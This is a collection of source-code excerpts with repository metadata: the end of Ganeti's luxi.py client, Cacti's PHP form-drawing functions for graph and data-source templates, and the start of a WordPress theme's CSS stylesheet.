job_id) return self.CallMethod(REQ_CHANGE_JOB_PRIORITY, (job_id, priority)) def AutoArchiveJobs(self, age): timeout = (DEF_RWTO - 1) / 2 return self.CallMethod(REQ_AUTO_ARCHIVE_JOBS, (age, timeout)) def WaitForJobChangeOnce(self, job_id, fields, prev_job_info, prev_log_serial, timeout=WFJC_TIMEOUT): """Waits for changes on a job. @param job_id: Job ID @type fields: list @param fields: List of field names to be observed @type prev_job_info: None or list @param prev_job_info: Previously received job information @type prev_log_serial: None or int/long @param prev_log_serial: Highest log serial number previously received @type timeout: int/float @param timeout: Timeout in seconds (values larger than L{WFJC_TIMEOUT} will be capped to that value) """ assert timeout >= 0, "Timeout can not be negative" return self.CallMethod(REQ_WAIT_FOR_JOB_CHANGE, (job_id, fields, prev_job_info, prev_log_serial, min(WFJC_TIMEOUT, timeout))) def WaitForJobChange(self, job_id, fields, prev_job_info, prev_log_serial): job_id = Client._PrepareJobId(REQ_WAIT_FOR_JOB_CHANGE, job_id) while True: result = self.WaitForJobChangeOnce(job_id, fields, prev_job_info, prev_log_serial) if result != constants.JOB_NOTCHANGED: break return result def Query(self, what, fields, qfilter): """Query for resources/items. @param what: One of L{constants.QR_VIA_LUXI} @type fields: List of strings @param fields: List of requested fields @type qfilter: None or list @param qfilter: Query filter @rtype: L{objects.QueryResponse} """ result = self.CallMethod(REQ_QUERY, (what, fields, qfilter)) return objects.QueryResponse.FromDict(result) def QueryFields(self, what, fields): """Query for available fields. @param what: One of L{constants.QR_VIA_LUXI} @type fields: None or list of strings @param fields: List of requested fields @rtype: L{objects.QueryFieldsResponse} """ result = self.CallMethod(REQ_QUERY_FIELDS, (what, fields)) return objects.QueryFieldsResponse.FromDict(result) def QueryJobs(self, job_ids, fields): return self.CallMethod(REQ_QUERY_JOBS, (job_ids, fields)) def QueryInstances(self, names, fields, use_locking): return self.CallMethod(REQ_QUERY_INSTANCES, (names, fields, use_locking)) def QueryNodes(self, names, fields, use_locking): return self.CallMethod(REQ_QUERY_NODES, (names, fields, use_locking)) def QueryGroups(self, names, fields, use_locking): return self.CallMethod(REQ_QUERY_GROUPS, (names, fields, use_locking)) def QueryNetworks(self, names, fields, use_locking): return self.CallMethod(REQ_QUERY_NETWORKS, (names, fields, use_locking)) def QueryExports(self, nodes, use_locking): return self.CallMethod(REQ_QUERY_EXPORTS, (nodes, use_locking)) def QueryClusterInfo(self): return self.CallMethod(REQ_QUERY_CLUSTER_INFO, ()) def QueryConfigValues(self, fields): return self.CallMethod(REQ_QUERY_CONFIG_VALUES, (fields, )) def QueryTags(self, kind, name): return self.CallMethod(REQ_QUERY_TAGS, (kind, name))
vladimir-ipatov/ganeti
lib/luxi.py
Python
gpl-2.0
17,598
<?php /* +-------------------------------------------------------------------------+ | Copyright (C) 2004-2021 The Cacti Group | | | | This program is free software; you can redistribute it and/or | | modify it under the terms of the GNU General Public License | | as published by the Free Software Foundation; either version 2 | | of the License, or (at your option) any later version. | | | | This program is distributed in the hope that it will be useful, | | but WITHOUT ANY WARRANTY; without even the implied warranty of | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | | GNU General Public License for more details. | +-------------------------------------------------------------------------+ | Cacti: The Complete RRDtool-based Graphing Solution | +-------------------------------------------------------------------------+ | This code is designed, written, and maintained by the Cacti Group. See | | about.php and/or the AUTHORS file for specific developer information. | +-------------------------------------------------------------------------+ | http://www.cacti.net/ | +-------------------------------------------------------------------------+ */ /* draw_nontemplated_fields_graph - draws a form that consists of all non-templated graph fields associated with a particular graph template @arg $graph_template_id - the id of the graph template to base the form after @arg $values_array - any values that should be included by default on the form @arg $field_name_format - all fields on the form will be named using the following format, the following variables can be used: |field| - the current field name @arg $header_title - the title to use on the header for this form @arg $alternate_colors (bool) - whether to alternate colors for each row on the form or not @arg $include_hidden_fields (bool) - should elements that are not to be displayed be represented as hidden html input elements or omitted altogether? @arg $snmp_query_graph_id - if this graph template is part of a data query, specify the graph id here. this will be used to determine if a given field is using suggested values */ function draw_nontemplated_fields_graph($graph_template_id, &$values_array, $field_name_format = '|field|', $header_title = '', $alternate_colors = true, $include_hidden_fields = true, $snmp_query_graph_id = 0) { global $struct_graph; $form_array = array(); $draw_any_items = false; /* fetch information about the graph template */ $graph_template = db_fetch_row_prepared('SELECT * FROM graph_templates_graph WHERE graph_template_id = ? AND local_graph_id = 0', array($graph_template_id)); foreach ($struct_graph as $field_name => $field_array) { /* find our field name */ $form_field_name = str_replace('|field|', $field_name, $field_name_format); $form_array += array($form_field_name => $struct_graph[$field_name]); /* modifications to the default form array */ $form_array[$form_field_name]['value'] = (isset($values_array[$field_name]) ? $values_array[$field_name] : ''); $form_array[$form_field_name]['form_id'] = (isset($values_array['id']) ? $values_array['id'] : '0'); unset($form_array[$form_field_name]['default']); if ($field_array['method'] == 'spacer') { unset($form_array[$form_field_name]); } elseif (isset($graph_template['t_' . $field_name]) && $graph_template['t_' . $field_name] != 'on') { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } elseif ((!empty($snmp_query_graph_id)) && (cacti_sizeof(db_fetch_assoc_prepared('SELECT id FROM snmp_query_graph_sv WHERE snmp_query_graph_id = ? AND field_name = ?', array($snmp_query_graph_id, $field_name))) > 0)) { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } else { if (($draw_any_items == false) && ($header_title != '')) { print "<div class='tableHeader'><div class='tableSubHeaderColumn'>$header_title</div></div>\n"; } $draw_any_items = true; } } /* setup form options */ if ($alternate_colors == true) { $form_config_array = array('no_form_tag' => true); } else { $form_config_array = array('no_form_tag' => true, 'force_row_color' => true); } draw_edit_form( array( 'config' => $form_config_array, 'fields' => $form_array ) ); return (isset($form_array) ? cacti_sizeof($form_array) : 0); } /* draw_nontemplated_fields_graph_item - draws a form that consists of all non-templated graph item fields associated with a particular graph template @arg $graph_template_id - the id of the graph template to base the form after @arg $local_graph_id - specify the id of the associated graph if it exists @arg $field_name_format - all fields on the form will be named using the following format, the following variables can be used: |field| - the current field name |id| - the current graph input id @arg $header_title - the title to use on the header for this form @arg $alternate_colors (bool) - whether to alternate colors for each row on the form or not */ function draw_nontemplated_fields_graph_item($graph_template_id, $local_graph_id, $field_name_format = '|field|_|id|', $header_title = '', $alternate_colors = true, $locked = 'false') { global $struct_graph_item; $form_array = array(); $draw_any_items = false; /* fetch information about the graph template */ $input_item_list = db_fetch_assoc_prepared('SELECT * FROM graph_template_input WHERE graph_template_id = ? ORDER BY column_name, name', array($graph_template_id)); /* modifications to the default graph items array */ if (!empty($local_graph_id)) { $host_id = db_fetch_cell_prepared('SELECT host_id FROM graph_local WHERE id = ?', array($local_graph_id)); if (get_selected_theme() != 'classic') { $struct_graph_item['task_item_id']['method'] = 'drop_callback'; $struct_graph_item['task_item_id']['action'] = 'ajax_get_graphitem'; } $struct_graph_item['task_item_id']['sql'] = "SELECT CONCAT_WS('', CASE WHEN host.description IS NULL THEN 'No Device - ' WHEN host.description IS NOT NULL THEN '' END, data_template_data.name_cache,' (',data_template_rrd.data_source_name,')') AS name, data_template_rrd.id FROM (data_template_data,data_template_rrd,data_local) LEFT JOIN host ON (data_local.host_id=host.id) WHERE data_template_rrd.local_data_id=data_local.id AND data_template_data.local_data_id=data_local.id " . (empty($host_id) ? "" : " AND data_local.host_id=$host_id") . " ORDER BY name"; } if (cacti_sizeof($input_item_list)) { foreach ($input_item_list as $item) { if (!empty($local_graph_id)) { $current_def_value = db_fetch_row_prepared('SELECT gti.' . $item['column_name'] . ', gti.id FROM graph_templates_item AS gti INNER JOIN graph_template_input_defs AS gtid ON gtid.graph_template_item_id=gti.local_graph_template_item_id WHERE gtid.graph_template_input_id = ? AND gti.local_graph_id = ? LIMIT 1', array($item['id'], $local_graph_id)); } else { $current_def_value = db_fetch_row_prepared('SELECT gti.' . $item['column_name'] . ', gti.id FROM graph_templates_item AS gti INNER JOIN graph_template_input_defs AS gtid ON gtid.graph_template_item_id=gti.id WHERE gtid.graph_template_input_id = ? AND gti.graph_template_id = ? LIMIT 1', array($item['id'], $graph_template_id)); } /* find our field name */ $form_field_name = str_replace('|field|', $item['column_name'], $field_name_format); $form_field_name = str_replace('|id|', $item['id'], $form_field_name); if (get_selected_theme() != 'classic') { if (cacti_sizeof($current_def_value)) { $struct_graph_item[$item['column_name']]['id'] = $current_def_value[$item['column_name']]; $struct_graph_item['task_item_id']['action'] = 'ajax_graph_items' . (isset($host_id) ? '&host_id=' . $host_id:'') . '&rrd_id=' . $current_def_value[$item['column_name']]; } } $form_array += array($form_field_name => $struct_graph_item[$item['column_name']]); /* modifications to the default form array */ $form_array[$form_field_name]['friendly_name'] = $item['name']; if (isset($current_def_value[$item['column_name']])) { $form_array[$form_field_name]['value'] = $current_def_value[$item['column_name']]; } if ($locked == 'true') { if (strpos($form_field_name, 'task_item_id') !== false) { $form_array[$form_field_name]['method'] = 'value'; if (isset($current_def_value[$item['column_name']])) { $value = db_fetch_cell_prepared("SELECT CONCAT_WS('', CASE WHEN host.description IS NULL THEN 'No Device - ' ELSE '' END, data_template_data.name_cache, ' (', data_template_rrd.data_source_name, ')') AS name FROM (data_template_data,data_template_rrd,data_local) LEFT JOIN host ON (data_local.host_id=host.id) WHERE data_template_rrd.local_data_id=data_local.id AND data_template_data.local_data_id=data_local.id AND data_template_rrd.id = ?", array($current_def_value[$item['column_name']])); $form_array[$form_field_name]['value'] = $value; } } } elseif (get_selected_theme() != 'classic') { if (strpos($form_field_name, 'task_item_id') !== false) { if (isset($current_def_value[$item['column_name']])) { $value = db_fetch_cell_prepared("SELECT CONCAT_WS('', CASE WHEN host.description IS NULL THEN 'No Device - ' ELSE '' END, data_template_data.name_cache, ' (', data_template_rrd.data_source_name, ')') AS name FROM (data_template_data,data_template_rrd,data_local) LEFT JOIN host ON (data_local.host_id=host.id) WHERE data_template_rrd.local_data_id=data_local.id AND data_template_data.local_data_id=data_local.id AND data_template_rrd.id = ?", array($current_def_value[$item['column_name']])); $form_array[$form_field_name]['value'] = $value; } } } /* if we are drawing the graph input list in the pre-graph stage we should omit the data source fields because they are basically meaningless at this point */ if ((empty($local_graph_id)) && ($item['column_name'] == 'task_item_id')) { unset($form_array[$form_field_name]); } else { if (($draw_any_items == false) && ($header_title != '')) { print "<div class='tableHeader'><div class='tableSubHeaderColumn'>$header_title</div></div>\n"; } $draw_any_items = true; } } } /* setup form options */ if ($alternate_colors == true) { $form_config_array = array('no_form_tag' => true); } else { $form_config_array = array('no_form_tag' => true, 'force_row_color' => true); } if (cacti_sizeof($input_item_list)) { draw_edit_form( array( 'config' => $form_config_array, 'fields' => $form_array ) ); } return (isset($form_array) ? cacti_sizeof($form_array) : 0); } /* draw_nontemplated_fields_data_source - draws a form that consists of all non-templated data source fields associated with a particular data template @arg $data_template_id - the id of the data template to base the form after @arg $local_data_id - specify the id of the associated data source if it exists @arg $values_array - any values that should be included by default on the form @arg $field_name_format - all fields on the form will be named using the following format, the following variables can be used: |field| - the current field name @arg $header_title - the title to use on the header for this form @arg $alternate_colors (bool) - whether to alternate colors for each row on the form or not @arg $include_hidden_fields (bool) - should elements that are not to be displayed be represented as hidden html input elements or omitted altogether? @arg $snmp_query_graph_id - if this data template is part of a data query, specify the graph id here. this will be used to determine if a given field is using suggested values */ function draw_nontemplated_fields_data_source($data_template_id, $local_data_id, &$values_array, $field_name_format = '|field|', $header_title = '', $alternate_colors = true, $include_hidden_fields = true, $snmp_query_graph_id = 0) { global $struct_data_source; $form_array = array(); $draw_any_items = false; /* fetch information about the data template */ $data_template = db_fetch_row_prepared('SELECT * FROM data_template_data WHERE data_template_id = ? AND local_data_id = 0', array($data_template_id)); foreach ($struct_data_source as $field_name => $field_array) { /* find our field name */ $form_field_name = str_replace('|field|', $field_name, $field_name_format); $form_array += array($form_field_name => $struct_data_source[$field_name]); /* modifications to the default form array */ $form_array[$form_field_name]['value'] = (isset($values_array[$field_name]) ? $values_array[$field_name] : ''); $form_array[$form_field_name]['form_id'] = (isset($values_array['id']) ? $values_array['id'] : '0'); unset($form_array[$form_field_name]['default']); $current_flag = (isset($field_array['flags']) ? $field_array['flags'] : ''); $current_template_flag = (isset($data_template['t_' . $field_name]) ? $data_template['t_' . $field_name] : 'on'); if (($current_template_flag != 'on') || ($current_flag == 'ALWAYSTEMPLATE')) { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } elseif ((!empty($snmp_query_graph_id)) && (cacti_sizeof(db_fetch_assoc_prepared('SELECT id FROM snmp_query_graph_rrd_sv WHERE snmp_query_graph_id = ? AND data_template_id = ? AND field_name = ?', array($snmp_query_graph_id, $data_template_id, $field_name))) > 0)) { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } elseif ((empty($local_data_id)) && ($field_name == 'data_source_path')) { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } else { if (($draw_any_items == false) && ($header_title != '')) { print "<div class='tableHeader'><div class='tableSubHeaderColumn'>$header_title</div></div>\n"; } $draw_any_items = true; } } /* setup form options */ if ($alternate_colors == true) { $form_config_array = array('no_form_tag' => true); } else { $form_config_array = array('no_form_tag' => true, 'force_row_color' => true); } draw_edit_form( array( 'config' => $form_config_array, 'fields' => $form_array ) ); return (isset($form_array) ? cacti_sizeof($form_array) : 0); } /* draw_nontemplated_fields_data_source_item - draws a form that consists of all non-templated data source item fields associated with a particular data template @arg $data_template_id - the id of the data template to base the form after @arg $values_array - any values that should be included by default on the form @arg $field_name_format - all fields on the form will be named using the following format, the following variables can be used: |field| - the current field name |id| - the id of the current data source item @arg $header_title - the title to use on the header for this form @arg $draw_title_for_each_item (bool) - should a separate header be drawn for each data source item, or should all data source items be drawn under one header? @arg $alternate_colors (bool) - whether to alternate colors for each row on the form or not @arg $include_hidden_fields (bool) - should elements that are not to be displayed be represented as hidden html input elements or omitted altogether? @arg $snmp_query_graph_id - if this graph template is part of a data query, specify the graph id here. this will be used to determine if a given field is using suggested values */ function draw_nontemplated_fields_data_source_item($data_template_id, &$values_array, $field_name_format = '|field_id|', $header_title = '', $draw_title_for_each_item = true, $alternate_colors = true, $include_hidden_fields = true, $snmp_query_graph_id = 0) { global $struct_data_source_item; $draw_any_items = false; $num_fields_drawn = 0; /* setup form options */ if ($alternate_colors == true) { $form_config_array = array('no_form_tag' => true); } else { $form_config_array = array('no_form_tag' => true, 'force_row_color' => true); } if (cacti_sizeof($values_array)) { foreach ($values_array as $rrd) { $form_array = array(); /* if the user specifies a title, we only want to draw that. if not, we should create our own title for each data source item */ if ($draw_title_for_each_item == true) { $draw_any_items = false; } if (empty($rrd['local_data_id'])) { /* this is a template */ $data_template_rrd = $rrd; } else { /* this is not a template */ $data_template_rrd = db_fetch_row_prepared('SELECT * FROM data_template_rrd WHERE id = ?', array($rrd['local_data_template_rrd_id'])); } foreach ($struct_data_source_item as $field_name => $field_array) { /* find our field name */ $form_field_name = str_replace('|field|', $field_name, $field_name_format); $form_field_name = str_replace('|id|', $rrd['id'], $form_field_name); $form_array += array($form_field_name => $struct_data_source_item[$field_name]); /* modifications to the default form array */ $form_array[$form_field_name]['value'] = (isset($rrd[$field_name]) ? $rrd[$field_name] : ''); $form_array[$form_field_name]['form_id'] = (isset($rrd['id']) ? $rrd['id'] : '0'); unset($form_array[$form_field_name]['default']); /* append the data source item name so the user will recognize it */ if ($draw_title_for_each_item == false) { $form_array[$form_field_name]['friendly_name'] .= ' [' . html_escape($rrd['data_source_name']) . ']'; } if ($data_template_rrd['t_' . $field_name] != 'on') { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } elseif ((!empty($snmp_query_graph_id)) && (cacti_sizeof(db_fetch_assoc_prepared('SELECT id FROM snmp_query_graph_rrd_sv WHERE snmp_query_graph_id = ? AND data_template_id = ? AND field_name = ?', array($snmp_query_graph_id, $data_template_id, $field_name))) > 0)) { if ($include_hidden_fields == true) { $form_array[$form_field_name]['method'] = 'hidden'; } else { unset($form_array[$form_field_name]); } } else { if (($draw_any_items == false) && ($draw_title_for_each_item == false) && ($header_title != '')) { print "<div class='tableHeader'><div class='tableSubHeaderColumn'>$header_title</div></div>\n"; } elseif (($draw_any_items == false) && ($draw_title_for_each_item == true) && ($header_title != '')) { print "<div class='tableHeader'><div class='tableSubHeaderColumn'>$header_title [" . html_escape($rrd['data_source_name']) . "]</div></div>\n"; } $draw_any_items = true; /* if the 'Output field' appears here among the non-templated fields, the valid choices for the drop-down box must be fetched from the associated data input method */ if ($field_name == 'data_input_field_id') { $data_input_id = db_fetch_cell_prepared('SELECT data_input_id FROM data_template_data WHERE data_template_id = ? AND local_data_id = 0', array($rrd['data_template_id'])); $form_array[$form_field_name]['sql'] = "SELECT id, CONCAT(data_name,' - ',name) AS name FROM data_input_fields WHERE data_input_id=" . $data_input_id . " AND input_output = 'out' AND update_rra='on' ORDER BY data_name,name"; } } } draw_edit_form( array( 'config' => $form_config_array, 'fields' => $form_array ) ); $num_fields_drawn += cacti_sizeof($form_array); } } return $num_fields_drawn; } /* draw_nontemplated_fields_custom_data - draws a form that consists of all non-templated custom data fields associated with a particular data template @arg $data_template_id - the id of the data template to base the form after @arg $field_name_format - all fields on the form will be named using the following format, the following variables can be used: |id| - the id of the current field @arg $header_title - the title to use on the header for this form @arg $draw_title_for_each_item (bool) - should a separate header be drawn for each data source item, or should all data source items be drawn under one header? @arg $alternate_colors (bool) - whether to alternate colors for each row on the form or not @arg $include_hidden_fields (bool) - should elements that are not to be displayed be represented as hidden html input elements or omitted altogether? @arg $snmp_query_id - if this graph template is part of a data query, specify the data query id here. this will be used to determine if a given field is associated with a suggested value */ function draw_nontemplated_fields_custom_data($data_template_data_id, $field_name_format = '|field|', $header_title = '', $alternate_colors = true, $include_hidden_fields = true, $snmp_query_id = 0) { $data = db_fetch_row_prepared('SELECT id, data_input_id, data_template_id, name, local_data_id FROM data_template_data WHERE id = ?', array($data_template_data_id)); $host_id = db_fetch_cell_prepared('SELECT host.id FROM host INNER JOIN data_local ON data_local.host_id=host.id WHERE data_local.id = ?', array($data['local_data_id'])); $template_data = db_fetch_row_prepared('SELECT id, data_input_id FROM data_template_data WHERE data_template_id = ? AND local_data_id = 0', array($data['data_template_id'])); $draw_any_items = false; /* get each INPUT field for this data input source */ $fields = db_fetch_assoc_prepared('SELECT * FROM data_input_fields WHERE data_input_id = ? AND input_output = "in" ORDER BY sequence', array($data['data_input_id'])); /* loop through each field found */ $i = 0; if (cacti_sizeof($fields)) { foreach ($fields as $field) { $data_input_data = db_fetch_row_prepared('SELECT * FROM data_input_data WHERE data_template_data_id = ? AND data_input_field_id = ?', array($data['id'], $field['id'])); if (cacti_sizeof($data_input_data)) { $old_value = $data_input_data['value']; } else { $old_value = ''; } /* if data template then get t_value from template, else always allow user input */ if (empty($data['data_template_id'])) { $can_template = 'on'; } else { $can_template = db_fetch_cell_prepared('SELECT t_value FROM data_input_data WHERE data_template_data_id = ? AND data_input_field_id = ?', array($template_data['id'], $field['id'])); } /* find our field name */ $form_field_name = str_replace('|id|', $field['id'], $field_name_format); if ((!empty($host_id)) && (preg_match('/^' . VALID_HOST_FIELDS . '$/i', $field['type_code'])) && (empty($can_template))) { /* no host fields */ if ($include_hidden_fields == true) { form_hidden_box($form_field_name, $old_value, ''); } } elseif ((!empty($snmp_query_id)) && (preg_match('/^(index_type|index_value|output_type)$/i', $field['type_code']))) { /* no data query fields */ if ($include_hidden_fields == true) { form_hidden_box($form_field_name, $old_value, ''); } } elseif (empty($can_template)) { /* no templated fields */ if ($include_hidden_fields == true) { form_hidden_box($form_field_name, $old_value, ''); } } else { if (($draw_any_items == false) && ($header_title != '')) { print "<div class='tableHeader' style='width:100%'><div class='tableSubHeaderColumn'>$header_title</div></div>\n"; } print "<div class='formRow " . ($alternate_colors ? ($i % 2 ? 'even':'odd'): 'odd') . "'>\n"; print "<div class='formColumnLeft'><div class='formFieldName'>" . html_escape($field['name']) . "</div></div>\n"; print "<div class='formColumnRight'>"; draw_custom_data_row($form_field_name, $field['id'], $data['id'], $old_value); print '</div>'; print "</div>\n"; $draw_any_items = true; $i++; } } } return $i; } /* draw_custom_data_row - draws a single row representing 'custom data' for a single data input field. this function is where additional logic can be applied to control how a certain field of custom data is represented on the HTML form @arg $field_name - the name of this form element @arg $data_input_field_id - the id of the data input field that this row represents @arg $data_template_data_id - the id of the data source data element that this data input field belongs to @arg $current_value - the current value of this field */ function draw_custom_data_row($field_name, $data_input_field_id, $data_template_data_id, $current_value) { $field = db_fetch_row_prepared('SELECT data_name, type_code FROM data_input_fields WHERE id = ?', array($data_input_field_id)); $local_data = db_fetch_row_prepared('SELECT dl.* FROM data_template_data AS dtd INNER JOIN data_local AS dl ON dl.id=dtd.local_data_id WHERE dtd.id = ?', array($data_template_data_id)); if ($field['type_code'] == 'index_type' && cacti_sizeof($local_data)) { $index_type = db_fetch_assoc_prepared('SELECT DISTINCT hsc.field_name FROM host_snmp_cache AS hsc WHERE hsc.host_id = ? AND hsc.snmp_query_id = ?', array($local_data['host_id'], $local_data['snmp_query_id'])); if (cacti_sizeof($index_type) == 0) { print "<em>" . __('Data Query Data Sources must be created through %s', "<a href='graphs_new.php'>" . __('New Graphs') . ".</a>") . "</em>\n"; } else { form_dropdown($field_name, $index_type, 'field_name', 'field_name', $current_value, '', '', ''); } } elseif ($field['type_code'] == 'output_type' && cacti_sizeof($local_data)) { $output_type = db_fetch_assoc_prepared('SELECT id, name FROM snmp_query_graph AS sqg WHERE snmp_query_id = ? ORDER BY name', array($local_data['snmp_query_id'])); if (cacti_sizeof($output_type) == 0) { print "<em>" . __('Data Query Data Sources must be created through %s', "<a href='graphs_new.php'>" . __('New Graphs') . ".</a>") . "</em>\n"; } else { form_dropdown($field_name, $output_type, 'name', 'id', $current_value, '', '', ''); } } else { form_text_box($field_name, $current_value, '', ''); } }
Cacti/cacti
lib/html_form_template.php
PHP
gpl-2.0
27,252
/* Theme Name: Quasar Themekiller.com Theme URI: http://quasar.rockthemes.net Author: XanderRock Author URI: http://themeforest.net/user/XanderRock/portfolio Description: Quasar is a very powerful responsive, retina ready, WPML (localization) ready, WooCommerce ready theme. Quasar comes with Rock Page Builder, Curvy Slider and Rock Form Builder. Enjoy! Version: 2.0.4 License: Please read the license information at Envato from themeforest.com License URI: http://themeforest.net Tags: drag and drop, multiple sidebar, responsive, retina, curvy slider, animation builder, page builder, layout builder, ecommerce, coorporate, portfolio Text Domain: quasar */ /* ** ####################################################### ** General ** ####################################################### */ body{ background-color:#e9e9e9; /* Users can choose one of these as default background:url(images/diamond_upholstery.png); background:url(images/furley_bg.png); */ font-family: 'Open Sans', sans-serif; } .rockthemes-animate, .rockthemes-animate .ajax-body ul > li{opacity:0;} a.button{ transition:all .3s; -webkit-transition:all .3s; -moz-transition:all .3s; } .quasar-style-radius{ border-radius:30px 0px 45px 0px; } .quasar-style-dot{ width: 10px; height: 10px; position: absolute; background: #00aae8; border-radius: 15px; right: 0px; bottom: 0px; opacity:0; } .rock-iconictext-container:hover .quasar-style-dot{ -webkit-animation-name: rockthemes_fade_loop; -webkit-animation-duration: 1000ms; -webkit-transform-origin:50% 50%; -webkit-animation-iteration-count: infinite; animation-name: rockthemes_fade_loop; animation-duration: 1000ms; transform-origin:50% 50%; animation-iteration-count: infinite; } @-webkit-keyframes rockthemes_fade_loop { 0% { opacity: 0; -webkit-transform: scale(0.7); } 10% { opacity: 1; -webkit-transform: scale(1); } 30% { opacity: 0.8; -webkit-transform: scale(0.85); } 40% { opacity: 1; -webkit-transform: scale(1); } 100% { opacity: 0; -webkit-transform: scale(0.7); } } @keyframes rockthemes_fade_loop { 0% { opacity: 0; -moz-transform: scale(0.7); } 10% { opacity: 1; -moz-transform: scale(1); } 30% { opacity: 0.8; -moz-transform: scale(0.85); } 40% { opacity: 1; -moz-transform: scale(1); } 100% { opacity: 0; -moz-transform: scale(0.7); } } #main-canvas{ background:#F0F0F0; width:1090px; margin:20px auto; box-shadow:0px 1px 5px rgba(50, 50, 50, 0.28); -webkit-box-shadow:0px 1px 5px rgba(50, 50, 50, 0.28); -moz-box-shadow:0px 1px 5px rgba(50, 50, 50, 0.28); } .main-content-container{background:#fff;} p, a, .header-small-contact{ font-family: 'Open Sans', sans-serif; font-size:13px; } p:last-child{margin-bottom:3px;} /*FontAwesome General Font Class*/ i, .fa{ display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /*We have used div for allowing override to display:block.*/ div img{max-width: 100%; border:none; -ms-interpolation-mode: bicubic; display:inline-block !important; /*block removed*/} /*Header Models*/ .header-top-1{ width:100%; background:#FDFDFD; padding:15px 0 5px; } .header-top-2 .columns{padding:5px 15px 5px; text-shadow:1px 1px 1px rgba(0, 0, 0, 0.4);} .header-small-contact, .header-small-contact a, .header-top-2 a{font-size:11px !important;} .header-small-contact, .header-social-container{margin:15px 0 10px;} .social-no-margin .header-social-container{margin:0px;} .header-social-line-height{line-height:19px;} .header-top-2{ width:100%; background:#00aae8; color:#f0f0f0; min-height:30px; } .header-top-2 .textwidget{ font-size:11px; margin:8px 2px 4px;} .header-top-2-font-size{font-size:11px;} /*Title and Breadcrumbs*/ .quasar-title-breadcrumbs{background:#EEEEF0; /*background:url(images/bright_squares.png); */ width:100%; position:relative;} .quasar-title-breadcrumbs .shadow-divider-up, .quasar-title-breadcrumbs .shadow-divider-down{opacity:0.6; filter:alpha(opacity=60);} /*Special Search*/ .special-search-container{position:relative;} .special-search-overlay-box{ background:#f4f4f4; width:240px; position:absolute; right:0px; z-index:99; display:none; box-shadow:0px 4px 4px rgba(50, 50, 50, 0.11); -moz-box-shadow:0px 4px 4px rgba(50, 50, 50, 0.11); -webkit-box-shadow:0px 4px 4px rgba(50, 50, 50, 0.11); border:1px solid #d0d0d0; border-top:none; } .special-search-overlay-box, .special-search-overlay-box *{ box-sizing:border-box !important; -webkit-box-sizing:border-box !important; -moz-box-sizing:border-box !important; } .special-search-overlay-box form{margin:0px; padding:0px;} .special-search-icon{display:inline-block;} .special-search-icon i{font-size:18px !important;} .entry-content > .row > .columns > *, .quasar-portfolio-body > .row, .quasar-portfolio-body .margin-bottom{margin-bottom:15px;} a{text-decoration:none;} a:hover{text-decoration:underline;} a.button:hover{text-decoration:none;} /*Firefox Image Backface Fix*/ a img, a:hover img, img, img:hover{/* -moz-backface-visibility: hidden; backface-visibility:hidden; -webkit-backface-visibility:hidden; */} h1, h2, h3, h4, h5, h6{color:inherit; margin-top:0px; line-height:100%;} h1{font-size:40px; font-weight:300} h2{font-size:32px; font-weight:300;} h3{font-size:26px; font-weight:400;} h4{font-size:24px; font-weight:400;} /*Fonts to All Headers. This will also be copied to in theme options*/ h1, h2, h3, h4, h5, h6, .title-container, .title-container a, .page-title, .sidebar-area caption, .quasar-portfolio-main-title, .team-member-content .member-b, .ajax-filtered-gallery-holder .ajax-navigation strong, .searchform label{font-family: 'PT Sans Narrow', sans-serif;} strong{font-weight:600;} .main-color{color:#00aae8;} .main-gradient{ background: #ffffff; /* Old browsers */ background: -moz-linear-gradient(top, #ffffff 0%, #f4f4f4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#f4f4f4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* IE10+ */ background: linear-gradient(to bottom, #ffffff 0%,#f4f4f4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#f4f4f4',GradientType=0 ); /* IE6-9 */ } .clear{clear:both;} .center-element{margin-right:auto; margin-left:auto;} .center-text{text-align:center;} .left-text{text-align:left;} .right-text{text-align:right;} .full-element{width:100%;} .remove-foundation-padding{margin-left:-0.9375em; margin-right:-0.9375em;} .relative-container{width:100%; height:100%; position:relative;} .rockthemes-hover{/*display:inline-block; Temporarily Disabled for Hover Image Issue*/ width:auto; height:auto; max-width:100%;} .rockthemes-hover > img{display:block !important; width:100%;} .shadow-box-class{box-shadow:0 1px 27px 0px rgba(0, 0, 0, 0.3);} .no-margin{margin:0px;} .no-padding{padding:0px;} .vertical-space{display:block; width:100%; height:60px;} .vertical-space-big{display:block; width:100%; height:100px;} .vertical-space-half{display:block; width:100%; height:30px;} .no-top-border-radius{border-top-left-radius:0px !important; border-top-right-radius:0px !important;} /*Go To Top */ #toTop{ background:#00aae8; color:#fff; width:35px; height:35px; text-align:center; position:fixed; /* this is the magic */ bottom:10px; /* together with this to put the div at the bottom*/ right:10px; cursor:pointer; display:none; z-index:100; vertical-align:middle; padding:8px 0; overflow:hidden; border-radius:3px; } /*Hover Regular Container*/ .regular-hover-container{width:100%; height:100%; position:absolute; top:0px; left:0px;} .regular-hover-container.small-thumb{height:100%;} .regular-hover-container.small-thumb{} .regular-hover-container .hover-bg{ position:relative; background:#fff; background:rgba(243, 243, 243, 0.83); text-align:center; vertical-align:middle; width:100%; height:100%; opacity:0; filter:alpha(opacity=0); max-width:100%; max-height:100%; } .regular-hover-container .hover-bg .iconeffect{ position:relative; display:block; float:left; margin-top:68%; opacity:0; filter:alpha(opacity=0); /*background:#fff;*/ background:transparent; width:48px; height:48px; 